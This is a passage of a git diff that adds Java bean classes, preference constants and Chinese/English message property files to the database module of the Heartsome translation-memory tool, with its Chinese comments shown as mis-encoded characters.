/** @return the optionName */ + public String getOptionName() { + return optionName; + } + + public String getMatchDbField() { + return matchDb.get(optionName); + } + + /** + * @param optionName + * the optionName to set + */ + public void setOptionName(String optionName) { + this.optionName = optionName; + } + + /** @return 当å‰è¿‡æ»¤æ¡ä»¶è¡¨è¾¾å¼ */ + public String getCurrentExpression() { + return expression; + } + + public String getExpressionMatchDb() { + return matchDbOp.get(expression); + } + + /** + * @param 当å‰è¿‡æ»¤æ¡ä»¶è¡¨è¾¾å¼å称 + * the expression to set + */ + public void setCurrentExpression(String expression) { + this.expression = expression; + } + + /** @return the filterContent */ + public LinkedHashMap getFilterContent() { + return filterContent; + } + + /** + * @param filterContent + * the filterContent to set + */ + public void setFilterContent(LinkedHashMap filterContent) { + this.filterContent = filterContent; + } + + /** @return the filterVlaue */ + public String getFilterVlaue() { + return filterVlaue; + } + + /** + * @param filterVlaue + * the filterVlaue to set + */ + public void setFilterVlaue(String filterVlaue) { + this.filterVlaue = filterVlaue; + } + +} diff --git a/database/net.heartsome.cat.database/src/net/heartsome/cat/database/bean/FuzzySearchResults.java b/database/net.heartsome.cat.database/src/net/heartsome/cat/database/bean/FuzzySearchResults.java new file mode 100644 index 0000000..64da687 --- /dev/null +++ b/database/net.heartsome.cat.database/src/net/heartsome/cat/database/bean/FuzzySearchResults.java @@ -0,0 +1,128 @@ +/** + * SearchResults.java + * + * Version information : + * + * Date:2012-11-27 + * + * Copyright notice : + * 本文件åŠå…¶é™„带的相关文件包å«æœºå¯†ä¿¡æ¯ï¼Œä»…é™ç€šç‰¹ç››ç§‘技有é™å…¬å¸æŒ‡å®šçš„,与本项目有关的内部人员和客户è”络人员查阅和使用。 + * 如果您ä¸æ˜¯æœ¬ä¿å¯†å£°æ˜Žä¸­æŒ‡å®šçš„收件者,请立å³é”€æ¯æœ¬æ–‡ä»¶ï¼Œç¦æ­¢å¯¹æœ¬æ–‡ä»¶æˆ–æ ¹æ®æœ¬æ–‡ä»¶ä¸­çš„内容采å–任何其他行动, + * 包括但ä¸é™äºŽï¼šæ³„露本文件中的信æ¯ã€ä»¥ä»»ä½•æ–¹å¼åˆ¶ä½œæœ¬æ–‡ä»¶å…¨éƒ¨æˆ–部分内容之副本ã€å°†æœ¬æ–‡ä»¶æˆ–其相关副本æ供给任何其他人。 + */ +package net.heartsome.cat.database.bean; + +import java.sql.Timestamp; +import java.util.ArrayList; +import java.util.Collections; +import java.util.Comparator; +import java.util.List; + +import net.heartsome.cat.common.bean.FuzzySearchResult; +import net.heartsome.cat.common.bean.TmxTU; +import net.heartsome.cat.common.util.DateUtils; + +/** + * @author jason + * @version + * @since JDK1.6 + */ +public class FuzzySearchResults { + + private int maxTuNumber; + + private List results; + + private int sortStrategy; + + private String deffaultTm; + + public FuzzySearchResults(String defaultTm, int sortStrategy, int maxTuNumber) { + this.maxTuNumber = maxTuNumber; + this.sortStrategy = sortStrategy; + this.deffaultTm = defaultTm; + results = new ArrayList(); + } + + /** + * First sort by similarity,then sort by TM sort Strategy,{@link #sortStrategy} initialize by constructor + * @param sortStrategry + * ; + */ + public void sort() { + Collections.sort(this.results, sortComparator); + } + + public void add(FuzzySearchResult tu) { + this.results.add(tu); + } + + public List getSearchResult(){ + return this.results; + } + + /** + * Clear current results, remove by max match size
    + * Note: before execute this method, need sort first ; + */ + public void clearResults() { + int index = results.size(); + while (index > maxTuNumber) { + index--; + results.remove(index); + } + } + + /** + * Detecting current result set contains frs or not + * Compare source and target is difference + * @param tu + * @return ; + */ + public boolean contains(FuzzySearchResult frs) { + TmxTU tu = frs.getTu(); + for (FuzzySearchResult _frs : results) { + TmxTU _tu = _frs.getTu(); + if (_tu.getSource().getPureText().trim().equals(tu.getSource().getPureText().trim()) + && (_tu.getTarget().getPureText().trim().equals(tu.getTarget().getPureText().trim()))) { + return true; + } + } + return false; + } + + private Comparator sortComparator = new Comparator() { + + public int compare(FuzzySearchResult a, FuzzySearchResult b) { + int a1 = a.getSimilarity(); + int b1 = b.getSimilarity(); + + if (a1 < b1) { + return 1; + } else if (a1 == b1) { + if (sortStrategy == TMPreferenceConstants.DEFAULT_DB_PRECEDENCE) { + // sort by default database + String dbName = b.getDbName(); + if (dbName.equals(deffaultTm)) { + return -1; + } + } else if (sortStrategy == TMPreferenceConstants.DATE_REVERSE_PRECEDENCE) { + // sort by update date + String t1Str = a.getTu().getChangeDate(); + String t2Str = b.getTu().getChangeDate(); + if (t1Str.length() != 0 && t2Str.length() != 0) { + Timestamp t1 = DateUtils.getTimestampFromUTC(t1Str); + Timestamp t2 = DateUtils.getTimestampFromUTC(t2Str); + return t2.compareTo(t1); + + } else if (t1Str.length() == 0 && t2Str.length() != 0) { + return -1; + } + } + return 0; + } else { + return -1; + } + } + }; +} diff --git a/database/net.heartsome.cat.database/src/net/heartsome/cat/database/bean/TBPreferenceConstants.java b/database/net.heartsome.cat.database/src/net/heartsome/cat/database/bean/TBPreferenceConstants.java new file mode 100644 index 0000000..10f7c38 --- /dev/null +++ b/database/net.heartsome.cat.database/src/net/heartsome/cat/database/bean/TBPreferenceConstants.java @@ -0,0 +1,49 @@ +/** + * TBPreferenceConstants.java + * + * Version information : + * + * Date:2012-5-2 + * + * Copyright notice : + * 本文件åŠå…¶é™„带的相关文件包å«æœºå¯†ä¿¡æ¯ï¼Œä»…é™ç€šç‰¹ç››ç§‘技有é™å…¬å¸æŒ‡å®šçš„,与本项目有关的内部人员和客户è”络人员查阅和使用。 + * 如果您ä¸æ˜¯æœ¬ä¿å¯†å£°æ˜Žä¸­æŒ‡å®šçš„收件者,请立å³é”€æ¯æœ¬æ–‡ä»¶ï¼Œç¦æ­¢å¯¹æœ¬æ–‡ä»¶æˆ–æ ¹æ®æœ¬æ–‡ä»¶ä¸­çš„内容采å–任何其他行动, + * 包括但ä¸é™äºŽï¼šæ³„露本文件中的信æ¯ã€ä»¥ä»»ä½•æ–¹å¼åˆ¶ä½œæœ¬æ–‡ä»¶å…¨éƒ¨æˆ–部分内容之副本ã€å°†æœ¬æ–‡ä»¶æˆ–其相关副本æ供给任何其他人。 + */ +package net.heartsome.cat.database.bean; + +import net.heartsome.cat.database.Constants; + +/** + * @author jason + * @version + * @since JDK1.6 + */ +public final class TBPreferenceConstants { + /** 术语库更新策略 */ + public static final String TB_UPDATE = "net.heartsome.cat.ts.ui.preferencepage.database.4"; + + /** 术语库更新设置 > 始终增加 */ + public static final int TB_ALWAYS_ADD = Constants.IMPORT_MODEL_ALWAYSADD; + + /** 术语库更新设置 > é‡å¤è¦†ç›– */ + public static final int TB_REPEAT_OVERWRITE = Constants.IMPORT_MODEL_OVERWRITE; + + /** 术语库更新设置 > é‡å¤åˆå¹¶ */ + public static final int TB_REPEAT_MERGE = Constants.IMPORT_MODEL_MERGE; + + /** 术语库更新设置 > é‡å¤å¿½ç•¥ */ + public static final int TB_REPEAT_IGNORE = Constants.IMPORT_MODEL_IGNORE; + + /** 术语库匹é…是å¦å¿½ç•¥å¤§å°å†™ */ + public static final String TB_CASE_SENSITIVE = "net.heartsome.cat.database.ui.tb.rm.casesensitive"; + + + // 记库库新建å‘导记ä½ä¸Šä¸€æ¬¡æ“ä½œä¿¡æ¯ + public static final String TB_RM_DBTYPE = "net.heartsome.cat.database.ui.tb.rm.dbtype"; + public static final String TB_RM_INSTANCE= "net.heartsome.cat.database.ui.tb.rm.instance"; + public static final String TB_RM_SERVER= "net.heartsome.cat.database.ui.tb.rm.server"; + public static final String TB_RM_PORT= "net.heartsome.cat.database.ui.tb.rm.prot"; + public static final String TB_RM_PATH ="net.heartsome.cat.database.ui.tb.rm.path"; + public static final String TB_RM_USERNAME="net.heartsome.cat.database.ui.tb.rm.username"; +} diff --git a/database/net.heartsome.cat.database/src/net/heartsome/cat/database/bean/TMPreferenceConstants.java b/database/net.heartsome.cat.database/src/net/heartsome/cat/database/bean/TMPreferenceConstants.java new file mode 100644 index 0000000..1527c82 --- /dev/null +++ b/database/net.heartsome.cat.database/src/net/heartsome/cat/database/bean/TMPreferenceConstants.java @@ -0,0 +1,91 @@ +package net.heartsome.cat.database.bean; + +import net.heartsome.cat.database.Constants; + +/** + * 记忆库,术语库的常é‡ç±» + * @author peason + * @version + * @since JDK1.6 + */ +public final class TMPreferenceConstants { + + /** + * 默认构造函数 + */ + protected TMPreferenceConstants() { + throw new UnsupportedOperationException(); + } + + /** + * 匹é…率相åŒæ—¶æŽ’åºç­–ç•¥ + */ + public static final String MATCH_PERCENTAGE_SORT_WITH_EQUAL = "net.heartsome.cat.ts.ui.preferencepage.database.2"; + + /** + * 记忆库更新策略 + */ + public static final String TM_UPDATE = "net.heartsome.cat.ts.ui.preferencepage.database.3"; + + /** + * 查库时是å¦å¿½ç•¥å¤§å°å†™ + */ + public static final String CASE_SENSITIVE = "net.heartsome.cat.ts.ui.preferencepage.database.8"; + + + /** + * 匹é…时是å¦å¿½ç•¥æ ‡è®° + */ + public static final String IGNORE_MARK = "net.heartsome.cat.ts.ui.preferencepage.database.10"; + + /** + * ä¸Šä¸‹æ–‡åŒ¹é… + */ + public static final String CONTEXT_MATCH = "net.heartsome.cat.ts.ui.preferencepage.database.11"; + + /** + * 最大匹é…æ•° + */ + public static final String MAX_MATCH_NUMBER = "net.heartsome.cat.ts.ui.preferencepage.database.12"; + + /** + * 最å°åŒ¹é…率 + */ + public static final String MIN_MATCH = "net.heartsome.cat.ts.ui.preferencepage.database.13"; + + public static final String TAG_PENALTY = "net.heartsome.cat.ts.ui.preferencepage.database.TAG_PENALTY"; + + /** + * 匹é…率相åŒæ—¶é»˜è®¤åº“优先 + */ + public static final int DEFAULT_DB_PRECEDENCE = 0; + + /** + * 匹é…率相åŒæ—¶æ›´æ–°æ—¶é—´å€’åºæŽ’列 + */ + public static final int DATE_REVERSE_PRECEDENCE = 1; + + /** + * 记忆库更新策略 > 始终增加 + */ + public static final int TM_ALWAYS_ADD = Constants.IMPORT_MODEL_ALWAYSADD; + + /** + * 记忆库更新策略 > é‡å¤è¦†ç›– + */ + public static final int TM_REPEAT_OVERWRITE = Constants.IMPORT_MODEL_OVERWRITE; + + /** + * 记忆库更新策略 > é‡å¤å¿½ç•¥ + */ + public static final int TM_REPEAT_IGNORE = Constants.IMPORT_MODEL_IGNORE; + + + // 记库库新建å‘导记ä½ä¸Šä¸€æ¬¡æ“ä½œä¿¡æ¯ + public static final String TM_RM_DBTYPE = "net.heartsome.cat.database.ui.tm.rm.dbtype"; + public static final String TM_RM_INSTANCE= "net.heartsome.cat.database.ui.tm.rm.instance"; + public static final String TM_RM_SERVER= "net.heartsome.cat.database.ui.tm.rm.server"; + public static final String TM_RM_PORT= "net.heartsome.cat.database.ui.tm.rm.prot"; + public static final String TM_RM_PATH ="net.heartsome.cat.database.ui.tm.rm.path"; + public static final String TM_RM_USERNAME="net.heartsome.cat.database.ui.tm.rm.username"; +} diff --git a/database/net.heartsome.cat.database/src/net/heartsome/cat/database/bean/TranslationUnitAnalysisResults.java b/database/net.heartsome.cat.database/src/net/heartsome/cat/database/bean/TranslationUnitAnalysisResults.java new file mode 100644 index 0000000..6876f23 --- /dev/null +++ b/database/net.heartsome.cat.database/src/net/heartsome/cat/database/bean/TranslationUnitAnalysisResults.java @@ -0,0 +1,93 @@ +/** + * TranslationUnitAnalysResults.java + * + * Version information : + * + * Date:2012-12-4 + * + * Copyright notice : + * 本文件åŠå…¶é™„带的相关文件包å«æœºå¯†ä¿¡æ¯ï¼Œä»…é™ç€šç‰¹ç››ç§‘技有é™å…¬å¸æŒ‡å®šçš„,与本项目有关的内部人员和客户è”络人员查阅和使用。 + * 如果您ä¸æ˜¯æœ¬ä¿å¯†å£°æ˜Žä¸­æŒ‡å®šçš„收件者,请立å³é”€æ¯æœ¬æ–‡ä»¶ï¼Œç¦æ­¢å¯¹æœ¬æ–‡ä»¶æˆ–æ ¹æ®æœ¬æ–‡ä»¶ä¸­çš„内容采å–任何其他行动, + * 包括但ä¸é™äºŽï¼šæ³„露本文件中的信æ¯ã€ä»¥ä»»ä½•æ–¹å¼åˆ¶ä½œæœ¬æ–‡ä»¶å…¨éƒ¨æˆ–部分内容之副本ã€å°†æœ¬æ–‡ä»¶æˆ–其相关副本æ供给任何其他人。 + */ +package net.heartsome.cat.database.bean; + +import java.util.ArrayList; +import java.util.Collections; +import java.util.Comparator; +import java.util.List; + +import net.heartsome.cat.common.bean.TranslationUnitAnalysisResult; + +/** + * @author jason + * @version + * @since JDK1.6 + */ +public class TranslationUnitAnalysisResults { + + private int maxTuNumber; + + private List results; + + private int sortStrategy; + + private String deffaultTm; + + public TranslationUnitAnalysisResults(String defaultTm, int sortStrategy, int maxTuNumber) { + this.maxTuNumber = maxTuNumber; + this.sortStrategy = sortStrategy; + this.deffaultTm = defaultTm; + results = new ArrayList(); + } + + /** + * Get the analysis results + * @return ; + */ + public List getAnaylysisResults(){ + return this.results; + } + /** + * add result + * @param tu + * ; + */ + public void add(TranslationUnitAnalysisResult tu) { + this.results.add(tu); + } + + /** + * First sort by similarity,then sort by TM sort Strategy,{@link #sortStrategy} initialize by constructor + * @param sortStrategry + * ; + */ + public void sort() { + Collections.sort(this.results, sortComparator); + } + + /** + * Clear current results, remove by max match size
    + * Note: before execute this method, need sort first ; + */ + public void clearResults() { + int index = results.size(); + while (index > maxTuNumber) { + index--; + results.remove(index); + } + } + + private Comparator sortComparator = new Comparator() { + + public int compare(TranslationUnitAnalysisResult a, TranslationUnitAnalysisResult b) { + int a1 = a.getSimilarity(); + int b1 = b.getSimilarity(); + + if (a1 < b1) { + return 1; + } + return 0; + } + }; +} diff --git a/database/net.heartsome.cat.database/src/net/heartsome/cat/database/resource/Messages.java b/database/net.heartsome.cat.database/src/net/heartsome/cat/database/resource/Messages.java new file mode 100644 index 0000000..385c77d --- /dev/null +++ b/database/net.heartsome.cat.database/src/net/heartsome/cat/database/resource/Messages.java @@ -0,0 +1,40 @@ +package net.heartsome.cat.database.resource; + +import java.util.MissingResourceException; +import java.util.ResourceBundle; + +/** + * 国际化工具类 + * @author peason + * @version + * @since JDK1.6 + */ +public final class Messages { + + /** The Constant BUNDLE_NAME. */ + private static final String BUNDLE_NAME = "net.heartsome.cat.database.resource.message"; //$NON-NLS-1$ + + /** The Constant RESOURCE_BUNDLE. */ + private static final ResourceBundle RESOURCE_BUNDLE = ResourceBundle.getBundle(BUNDLE_NAME); + + /** + * Instantiates a new messages. + */ + private Messages() { + // Do nothing + } + + /** + * Gets the string. + * @param key + * the key + * @return the string + */ + public static String getString(String key) { + try { + return RESOURCE_BUNDLE.getString(key); + } catch (MissingResourceException e) { + return '!' + key + '!'; + } + } +} diff --git a/database/net.heartsome.cat.database/src/net/heartsome/cat/database/resource/message.properties b/database/net.heartsome.cat.database/src/net/heartsome/cat/database/resource/message.properties new file mode 100644 index 0000000..9f0f2fe --- /dev/null +++ b/database/net.heartsome.cat.database/src/net/heartsome/cat/database/resource/message.properties @@ -0,0 +1,76 @@ +database.SystemDBOperator.logger1 = [LOG] \u672a\u627e\u5230 JDBC \u9a71\u52a8\u7c7b +database.SystemDBOperator.logger2 = [LOG] SQL \u5f02\u5e38\uff1a\u65e0\u6cd5\u5efa\u7acb\u8fde\u63a5 +database.SystemDBOperator.logger3 = [LOG] \u52a0\u8f7d JDBC \u9a71\u52a8\u5931\u8d25 + +bean.ExportFilterComponentBean.contain = \u5305\u542b +bean.ExportFilterComponentBean.notcontain = \u4e0d\u5305\u542b +bean.ExportFilterComponentBean.gt = \u5927\u4e8e +bean.ExportFilterComponentBean.lt = \u5c0f\u4e8e +bean.ExportFilterComponentBean.eq = \u7b49\u4e8e +bean.ExportFilterComponentBean.segment = \u6587\u672c\u6bb5 +bean.ExportFilterComponentBean.creationDate = \u7ffb\u8bd1\u5355\u5143\u521b\u5efa\u65f6\u95f4 +bean.ExportFilterComponentBean.changeDate = \u7ffb\u8bd1\u5355\u5143\u4fee\u6539\u65f6\u95f4 +bean.ExportFilterComponentBean.creationId = \u7ffb\u8bd1\u5355\u5143\u521b\u5efa\u8005 +bean.ExportFilterComponentBean.changeId = \u7ffb\u8bd1\u5355\u5143\u4fee\u6539\u8005 +bean.ExportFilterComponentBean.projectRef = \u9879\u76ee +bean.ExportFilterComponentBean.jobRef = \u4efb\u52a1 +bean.ExportFilterComponentBean.noteRef = \u6279\u6ce8 +bean.ExportFilterComponentBean.tbContent = \u672f\u8bed\u5185\u5bb9 + +service.DatabaseService.logger1 = [LOG] \u6267\u884c TMX \u6587\u4ef6\u5bfc\u5165\u65f6\u542f\u52a8\u6570\u636e\u5e93\u5931\u8d25\uff1a +service.DatabaseService.logger2 = [LOG] \u6267\u884c TMX \u5bfc\u5165\u65f6\uff0c\u4e22\u5931 JDBC \u9a71\u52a8 +service.DatabaseService.logger3 = [LOG] \u5b8c\u6210 TMX \u6587\u4ef6\u5bfc\u5165\u540e\uff0c\u91ca\u653e\u6570\u636e\u5e93\u8d44\u6e90\u51fa\u9519 +service.DatabaseService.logger4 = [LOG] \u6267\u884c TMX \u5b57\u7b26\u4e32\u5185\u5bb9\u5bfc\u5165\u65f6\u542f\u52a8\u6570\u636e\u5e93\u5931\u8d25\uff1a +service.DatabaseService.logger5 = [LOG] \u6267\u884c TMX \u5b57\u7b26\u4e32\u5bfc\u5165\u65f6\uff0c\u4e22\u5931 JDBC \u9a71\u52a8 +service.DatabaseService.logger6 = [LOG] \u5b8c\u6210 TMX \u5b57\u7b26\u4e32\u5185\u5bb9\u5bfc\u5165\u540e\uff0c\u91ca\u653e\u6570\u636e\u5e93\u8d44\u6e90\u51fa\u9519 +service.DatabaseService.logger7 = [LOG] \u6267\u884c TBX \u5b57\u7b26\u4e32\u5185\u5bb9\u5bfc\u5165\u65f6\u542f\u52a8\u6570\u636e\u5e93\u5931\u8d25\uff1a +service.DatabaseService.logger8 = [LOG] \u6267\u884c TBX \u5b57\u7b26\u4e32\u5bfc\u5165\u65f6\uff0c\u4e22\u5931 JDBC \u9a71\u52a8 +service.DatabaseService.logger9 = [LOG] \u5b8c\u6210 TBX \u5b57\u7b26\u4e32\u5185\u5bb9\u5bfc\u5165\u540e\uff0c\u91ca\u653e\u6570\u636e\u5e93\u8d44\u6e90\u51fa\u9519 +service.DatabaseService.logger10 = [LOG] \u6267\u884c TBX \u6587\u4ef6\u5bfc\u5165\u65f6\u542f\u52a8\u6570\u636e\u5e93\u5931\u8d25\uff1a +service.DatabaseService.logger11 = [LOG] \u6267\u884c TBX \u5bfc\u5165\u65f6\uff0c\u4e22\u5931 JDBC \u9a71\u52a8 +service.DatabaseService.logger12 = [LOG] \u5b8c\u6210 TBX \u6587\u4ef6\u5bfc\u5165\u540e\uff0c\u91ca\u653e\u6570\u636e\u5e93\u8d44\u6e90\u51fa\u9519 + +document.DocUtils.logger1 = [LOG] \u9a8c\u8bc1 TMX \u65f6\u51fa\u9519 +document.DocUtils.logger2 = [LOG] \u9a8c\u8bc1 TBX \u65f6\u51fa\u9519 +document.ExportAbstract.msg1 = \u7528\u6237\u53d6\u6d88\u4e86\u5bfc\u51fa\u3002 +document.ExportAbstract.msg2 = \u8bfb\u53d6\u6570\u636e\u5e93\u65f6\u51fa\u9519\uff0c\u8bf7\u786e\u8ba4\u6570\u636e\u5e93\u80fd\u6b63\u5e38\u8bbf\u95ee\u3002 +document.ExportAbstract.msg3 = \u52a0\u8f7d\u6570\u636e\u5e93 JDBC \u9a71\u52a8\u65f6\u51fa\u9519\uff0c\u8bf7\u91cd\u65b0\u5b89\u88c5 Heartsome Translation Studio \u540e\u91cd\u8bd5\u3002 +document.ExportAbstract.msg4 = \u5c06\u5bfc\u51fa\u7684\u6570\u636e\u5199\u5165\u5230\u6307\u5b9a\u6587\u4ef6\u65f6\u51fa\u9519\uff0c\u8bf7\u786e\u8ba4\u6307\u5b9a\u7684\u8f93\u51fa\u8def\u5f84\u6709\u6548\u3001\u4e14\u5177\u6709\u5199\u5165\u6743\u9650\u3002 +document.ExportAbstract.msg5 = \u5df2\u6210\u529f\u5bfc\u51fa\u3002 +document.ExportAbstract.msg6 = \u5df2\u6210\u529f\u5bfc\u51fa\u3002 +document.ExportAbstract.msg7 = \u5df2\u6210\u529f\u5bfc\u51fa\u3002 +document.ExportTbxImpl.task1 = \u6b63\u5728\u6267\u884c\u5bfc\u51fa\uff0c\u5f53\u524d\u672f\u8bed\u5e93\u4e3a\uff1a +document.ExportTmxImpl.task1 = \u6b63\u5728\u6267\u884c\u5bfc\u51fa\uff0c\u5f53\u524d\u8bb0\u5fc6\u5e93\u4e3a\uff1a +document.ImportAbstract.msg1 = \u8be5\u6587\u4ef6\u7684\u7f16\u7801\u4e0d\u53d7\u652f\u6301\uff0c\u8bf7\u4f7f\u7528 UTF-8 \u7f16\u7801\u4fdd\u5b58\u8be5\u6587\u4ef6\u540e\u91cd\u8bd5\u3002 +document.ImportAbstract.msg2 = \u8be5\u6587\u4ef6\u4e0d\u5b58\u5728\uff0c\u8bf7\u786e\u8ba4\u6b63\u786e\u9009\u62e9\u4e86\u5f85\u5bfc\u5165\u7684\u6587\u4ef6\u3002 +document.ImportAbstract.msg3 = \u6587\u4ef6\u5185\u5bb9\u6709\u8bef\uff0c\u8bf7\u786e\u8ba4\u6b63\u786e\u9009\u62e9\u4e86\u5f85\u5bfc\u5165\u7684\u6587\u4ef6\u3002 +document.ImportAbstract.logger1 = [LOG] \u6587\u4ef6\u7f16\u7801\u51fa\u9519 +document.ImportAbstract.logger2 = [LOG] \u6587\u4ef6\u4e0d\u5b58\u5728 +document.ImportAbstract.logger3 = [LOG] \u89e3\u6790\u6587\u4ef6\u51fa\u9519 +document.ImportTbx.task1 = \u6b63\u5728\u5bfc\u5165 TBX \u6587\u4ef6 +document.ImportTbx.msg1 = \u65e0\u6548\u7684 TBX \u6587\u4ef6\uff0c\u8bf7\u9009\u62e9\u6b63\u786e\u7684 TBX \u6587\u4ef6\u3002 +document.ImportTmx.task1 = \u5bfc\u5165 TMX \u6587\u4ef6... +document.ImportTmx.msg1 = \u6b63\u5728\u53d6\u6d88\u6267\u884c... + +document.ImportTmx.msg2 = \u5f53\u524d TMX \u6587\u4ef6\u7684\u6e90\u8bed\u8a00\u4e3a *all*\uff0c\u7ee7\u7eed\u5bfc\u5165\u5c06\u4f7f\u7528\u201c\u65b0\u589e\u201d\u7684\u91cd\u590d\u9879\u5904\u7406\u7b56\u7565\u3002\n\u5982\u679c\u8be5 TMX \u7684\u5185\u5bb9\u6709\u786e\u5b9a\u7684\u6e90\u8bed\u8a00\uff0c\u8bf7\u4fee\u6539\u6587\u4ef6\u7684\u6e90\u8bed\u8a00 srclang \u5c5e\u6027\u503c\uff0c\u7136\u540e\u518d\u91cd\u8bd5\u3002\n\n\u786e\u5b9a\u8981\u7ee7\u7eed\u5bfc\u5165\u5417\uff1f +document.ImportTmx.title = \u63d0\u793a + +document.importTmx.msg3 = \u5bfc\u5165\u7b2c {0} \u4e2aTUV\u51fa\u9519\uff0c +document.importTmx.msg4 = \u83b7\u53d6 TUV \u8bed\u8a00\u4fe1\u606f\u51fa\u9519, TUV \u8282\u70b9\u65e0\u8bed\u8a00\u5c5e\u6027\uff01 + +database.Utils.msg1 = \u65e0\u6cd5\u8bc6\u522b\u8be5 TMX \u6587\u4ef6\u7684\u7f16\u7801\u3002\u8bf7\u4f7f\u7528\u6587\u672c\u7f16\u8f91\u5668\u4ee5 UTF-8 \u7f16\u7801\u53e6\u5b58\u6587\u4ef6\uff0c\u7136\u540e\u518d\u91cd\u8bd5\u3002 +database.Utils.msg2 = \u4e0d\u662f\u5408\u6cd5\u7684 TMX \u6587\u4ef6\u3002\u8bf7\u4fee\u590d\u8be5\u6587\u4ef6\u4e2d\u7684\u9519\u8bef\u6216\u9009\u62e9\u53e6\u4e00\u4e2a\u5408\u6cd5\u7684 TMX \u6587\u4ef6\uff0c\u7136\u540e\u518d\u91cd\u8bd5\u3002 + +document.ImportTmx.canceledImport = \u5df2\u53d6\u6d88\u5bfc\u5165\u3002 +document.ImportTmx.dbOpError = \u5199\u5165\u6570\u636e\u5e93\u65f6\u51fa\u73b0\u5982\u4e0b\u9519\u8bef\uff1a + +document.TmxReader.parseTmxFileError = \u89e3\u6790 TMX \u6587\u4ef6\u65f6\u51fa\u9519\uff0c\u8bf7\u786e\u8ba4\u6240\u9009\u7684 TMX \u6587\u4ef6\u662f\u5426\u6b63\u786e\uff0c\u6216\u91cd\u65b0\u9009\u62e9\u53e6\u4e00\u4e2a TMX \u6587\u4ef6\u3002\u7136\u540e\u518d\u91cd\u8bd5\u3002 +document.TmxReader.validateTmxFileError = \u9a8c\u8bc1 TMX \u6587\u4ef6\u65f6\u51fa\u9519\uff0c\u8bf7\u786e\u8ba4\u6240\u9009\u7684 TMX \u6587\u4ef6\u662f\u5426\u6b63\u786e\uff0c\u6216\u91cd\u65b0\u9009\u62e9\u53e6\u4e00\u4e2a TMX \u6587\u4ef6\u3002\u7136\u540e\u518d\u91cd\u8bd5\u3002 +document.TmxReader.EmptyTmxFileError = \u6240\u9009\u7684 TMX \u6587\u4ef6\u4e3a\u7a7a\uff0c\u65e0\u6cd5\u6253\u5f00\u3002\u8bf7\u91cd\u65b0\u9009\u62e9\u975e\u7a7a\u7684 TMX \u6587\u4ef6\u3002 +document.TmxReader.readTuMsg = \u65e0\u53ef\u5bfc\u5165\u7684\u5185\u5bb9\uff0c\u8bf7\u91cd\u65b0\u9009\u62e9\u53e6\u4e00\u4e2a TMX \u6587\u4ef6\u4ee5\u5bfc\u5165\u3002 + +net.heartsome.cat.database.TMXDBOperatorFacade.findDuplicateSeg=\u6b63\u5728\u67e5\u627e\u91cd\u590d\u884c... +net.heartsome.cat.database.TMXDBOperatorFacade.deleteDuplicateSeg=\u6b63\u5728\u5220\u9664\u91cd\u590d\u884c... +net.heartsome.cat.database.TMXDBOperatorFacade.findSameSrcDiffTgt=\u6b63\u5728\u67e5\u627e\u6e90\u6587\u76f8\u540c\u3001\u8bd1\u6587\u4e0d\u540c\u7684\u884c... +net.heartsome.cat.database.TMXDBOperatorFacade.deleteSameSrcDiffTgt=\u6b63\u5728\u5220\u9664\u6e90\u6587\u76f8\u540c\u3001\u8bd1\u6587\u4e0d\u540c\u7684\u884c... +net.heartsome.cat.database.TMXDBOperatorFacade.deleteEndsSpace=\u6b63\u5728\u5220\u9664\u6bb5\u9996/\u6bb5\u672b\u7a7a\u683c... diff --git a/database/net.heartsome.cat.database/src/net/heartsome/cat/database/resource/message_en.properties b/database/net.heartsome.cat.database/src/net/heartsome/cat/database/resource/message_en.properties new file mode 100644 index 0000000..19947ae --- /dev/null +++ b/database/net.heartsome.cat.database/src/net/heartsome/cat/database/resource/message_en.properties @@ -0,0 +1,76 @@ +database.SystemDBOperator.logger1 = [LOG] \u672a\u627e\u5230 JDBC \u9a71\u52a8\u7c7b +database.SystemDBOperator.logger2 = [LOG] SQL \u5f02\u5e38\uff1aUnable to connect. +database.SystemDBOperator.logger3 = [LOG] \u52a0\u8f7d JDBC \u9a71\u52a8\u5931\u8d25 + +bean.ExportFilterComponentBean.contain = Contains +bean.ExportFilterComponentBean.notcontain = Excludes +bean.ExportFilterComponentBean.gt = More than +bean.ExportFilterComponentBean.lt = Less than +bean.ExportFilterComponentBean.eq = Equal +bean.ExportFilterComponentBean.segment = Segment +bean.ExportFilterComponentBean.creationDate = Created on +bean.ExportFilterComponentBean.changeDate = Modified on +bean.ExportFilterComponentBean.creationId = Created by +bean.ExportFilterComponentBean.changeId = Modified by +bean.ExportFilterComponentBean.projectRef = Project +bean.ExportFilterComponentBean.jobRef = Task +bean.ExportFilterComponentBean.noteRef = Comments +bean.ExportFilterComponentBean.tbContent = Term + +service.DatabaseService.logger1 = [LOG] \u6267\u884c TMX \u6587\u4ef6\u5bfc\u5165\u65f6\u542f\u52a8\u6570\u636e\u5e93\u5931\u8d25\uff1a +service.DatabaseService.logger2 = [LOG] \u6267\u884c TMX \u5bfc\u5165\u65f6\uff0c\u4e22\u5931 JDBC \u9a71\u52a8 +service.DatabaseService.logger3 = [LOG] \u5b8c\u6210 TMX \u6587\u4ef6\u5bfc\u5165\u540e\uff0c\u91ca\u653e\u6570\u636e\u5e93\u8d44\u6e90\u51fa\u9519 +service.DatabaseService.logger4 = [LOG] \u6267\u884c TMX \u5b57\u7b26\u4e32\u5185\u5bb9\u5bfc\u5165\u65f6\u542f\u52a8\u6570\u636e\u5e93\u5931\u8d25\uff1a +service.DatabaseService.logger5 = [LOG] \u6267\u884c TMX \u5b57\u7b26\u4e32\u5bfc\u5165\u65f6\uff0c\u4e22\u5931 JDBC \u9a71\u52a8 +service.DatabaseService.logger6 = [LOG] \u5b8c\u6210 TMX \u5b57\u7b26\u4e32\u5185\u5bb9\u5bfc\u5165\u540e\uff0c\u91ca\u653e\u6570\u636e\u5e93\u8d44\u6e90\u51fa\u9519 +service.DatabaseService.logger7 = [LOG] \u6267\u884c TBX \u5b57\u7b26\u4e32\u5185\u5bb9\u5bfc\u5165\u65f6\u542f\u52a8\u6570\u636e\u5e93\u5931\u8d25\uff1a +service.DatabaseService.logger8 = [LOG] \u6267\u884c TBX \u5b57\u7b26\u4e32\u5bfc\u5165\u65f6\uff0c\u4e22\u5931 JDBC \u9a71\u52a8 +service.DatabaseService.logger9 = [LOG] \u5b8c\u6210 TBX \u5b57\u7b26\u4e32\u5185\u5bb9\u5bfc\u5165\u540e\uff0c\u91ca\u653e\u6570\u636e\u5e93\u8d44\u6e90\u51fa\u9519 +service.DatabaseService.logger10 = [LOG] \u6267\u884c TBX \u6587\u4ef6\u5bfc\u5165\u65f6\u542f\u52a8\u6570\u636e\u5e93\u5931\u8d25\uff1a +service.DatabaseService.logger11 = [LOG] \u6267\u884c TBX 